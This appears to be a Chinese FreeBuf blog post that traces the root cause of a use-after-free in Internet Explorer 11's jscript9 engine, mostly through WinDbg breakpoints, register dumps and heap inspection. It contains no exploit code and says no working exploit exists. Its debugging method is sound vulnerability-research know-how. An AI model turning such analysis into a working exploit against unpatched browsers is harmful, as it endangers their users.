eax=058b0000 ebx=0590a140 ecx=63e0630a edx=02aee484 esi=00000003 edi=04e2ca0c
eip=058b0000 esp=04e2c844 ebp=04e2c890 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
058b0000 ??              ???

两次指针并不相同,说明指针被改写了一次,重新运行一样在第五次断点被触发时看一下这里的内存,此时还没有被改写:

0:005> g
Breakpoint 0 hit
eax=05a88b70 ebx=05aaa140 ecx=00000003 edx=032aa578 esi=00000003 edi=032aa734
eip=63e0631b esp=032aa564 ebp=032aa568 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff      call    jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)

0:005> dd poi(poi(05aaa140+0x14)+0x10)+0x4
05a49124  63e06d2e 00000003 00000000 05a49120

在这里可以下一个内存写入断点,看看什么时候被改写了:

0:005> ba w 4 05a49124
0:005> g
Breakpoint 0 hit
eax=05a88b70 ebx=05aaa140 ecx=00000003 edx=032aa578 esi=00000003 edi=032aa734
eip=63e0631b esp=032aa564 ebp=032aa568 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff      call    jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:005> g
Breakpoint 1 hit
eax=05a50000 ebx=63e06d2e ecx=05a49164 edx=05a50fcf esi=05a49120 edi=05a49164
eip=63e06cdf esp=032aa520 ebp=032aa548 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x21:
63e06cdf f605c0fc1a6404  test    byte ptr [jscript9!Microsoft_JScriptEnableBits (641afcc0)],4 ds:0023:641afcc0=00
0:005> dd poi(poi(05aaa140+0x14)+0x10)+0x4
05a49124  05a50000 00000003 00000000 05a49120

真正的写入发生在上一句mov语句,这时的esi05a49120eax05a50000:

0:005> ub . L5
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0xf:
63e06ccd 8b4e20          mov     ecx,dword ptr [esi+20h]
63e06cd0 57              push    edi
63e06cd1 8b89a8040000    mov     ecx,dword ptr [ecx+4A8h]
63e06cd7 e8f8000000      call    jscript9!InterpreterThunkEmitter::GetNextThunk (63e06dd4)
63e06cdc 894604          mov     dword ptr [esi+4],eax

eax里的是上一个call的返回值,也就是InterpreterThunkEmitter::GetNextThunk的返回值,这次在63e06cd7下断点,会触发五次,最后一次时步入函数:

0:005> 
eax=00000000 ebx=63e06d2e ecx=02477098 edx=7f219000 esi=041a9120 edi=041a9164
eip=63e06dda esp=02caaa60 ebp=02caaa64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!InterpreterThunkEmitter::GetNextThunk+0x6:
63e06dda 8bf1            mov     esi,ecx

0:005> 
eax=00000000 ebx=63e06d2e ecx=000001f7 edx=7f219000 esi=02477098 edi=041a9164
eip=63e06df5 esp=02caaa60 ebp=02caaa64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript9!InterpreterThunkEmitter::GetNextThunk+0x1d:
63e06df5 8b8620010000    mov     eax,dword ptr [esi+120h] ds:0023:024771b8=05310000

由于这个函数是__thiscall,所以ecx就是this指针,63e06df5就是把类的一个成员赋给了eax

为IE开启堆页,命令是:

C:\Users\sevie>"C:\Program Files\Debugging Tools for Windows (x86)\gflags.exe" /
i "C:\Program Files\Internet Explorer\iexplore.exe" +hpa

再次下断点调试,看看这里堆的情况:

0:005> 
eax=00000000 ebx=63e06d2e ecx=000001f7 edx=7f64a000 esi=0567aed0 edi=081cf164
eip=63e06df5 esp=0526a550 ebp=0526a554 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript9!InterpreterThunkEmitter::GetNextThunk+0x1d:
63e06df5 8b8620010000    mov     eax,dword ptr [esi+120h] ds:0023:0567aff0=08190000
0:005> !heap -p -a 0567aed0+0x120
    address 0567aff0 found in
    _DPH_HEAP_ROOT @ 22c1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 22c4d68:          567aed0              12c -          567a000

这时eax指向的内容还没有被释放,是一段函数代码:

0:005> u poi(0567aed0+0x120)
08190000 55              push    ebp
08190001 8bec            mov     ebp,esp
08190003 8b4508          mov     eax,dword ptr [ebp+8]

那我们要找到这段内存是如何释放的,还是回到63e06cd7断点处,这次不进入函数,步过后那段内存并没有被释放,为了弄清楚在哪里被释放,给this指针和那段uaf的内存下访问断点:

0:005> g
Breakpoint 0 hit
eax=00000000 ebx=63e06d2e ecx=053d0ed0 edx=7fa59000 esi=078e8120 edi=078e8164
eip=63e06cd7 esp=04cbaa8c ebp=04cbaab8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x19:
63e06cd7 e8f8000000      call    jscript9!InterpreterThunkEmitter::GetNextThunk (63e06dd4)
0:005> p
eax=09f90000 ebx=63e06d2e ecx=078e8164 edx=09f90fcf esi=078e8120 edi=078e8164
eip=63e06cdc esp=04cbaa90 ebp=04cbaab8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x1e:
63e06cdc 894604          mov     dword ptr [esi+4],eax ds:0023:078e8124={jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk (63e06d2e)}
0:005> d poi(053d0ed0+0x120)
09f90000  55 8b ec 8b 45 08 8b 40-14 8b 48 44 8d 45 08 50  U...E..@..HD.E.P
0:005> ba r1 053d0ed0
0:005> ba r1 09f90000
0:005> g
Breakpoint 1 hit
eax=053d0fe8 ebx=00000000 ecx=053d0ed0 edx=00000000 esi=07876238 edi=053d0ed0
eip=63f6341a esp=04cbc4f0 ebp=04cbc4fc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!EmitBufferManager::FreeAllocations+0xf:
63f6341a 85f6            test    esi,esi
0:005> d poi(053d0ed0+0x120)
09f90000  8bec8b55 408b0845 44488b14 5008458d
...
0:005> 
eax=053d0edc ebx=00000000 ecx=053d0fb8 edx=07876208 esi=053d0ed0 edi=053c48c0
eip=63f6342d esp=04cbc500 ebp=04cbc538 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!EmitBufferManager::FreeAllocations+0x1e:
63f6342d c20400          ret     4
0:005> d poi(053d0ed0+0x120)
09f90000  ???????? ???????? ???????? ????????

断点触发时,09f90000还没有被释放,函数返回时已经被释放了,内存就是用FreeAllocations来释放,在EmitBufferManager类中还有NewAllocation函数,应该是分配内存的函数。

总结

所以漏洞的成因应该是在内存被FreeAllocations释放后又在JavascriptFunction::CallFunction<1>中使用而造成的UAF。由于这个漏洞的返回地址不可控,所以要用堆喷的方法的话可能还需要结合其他方法来绕过DEPASLR,暂时网上也没有成功的exp,在分析过程中参考了:https://blog.vectra.ai/blog/microsoft-internet-explorer-11-zero-day

*本文原创作者:pwdme,本文属FreeBuf原创奖励计划,未经许可禁止转载

这些评论亮了

发表评论

已有 1 条评论

取消
Loading...
css.php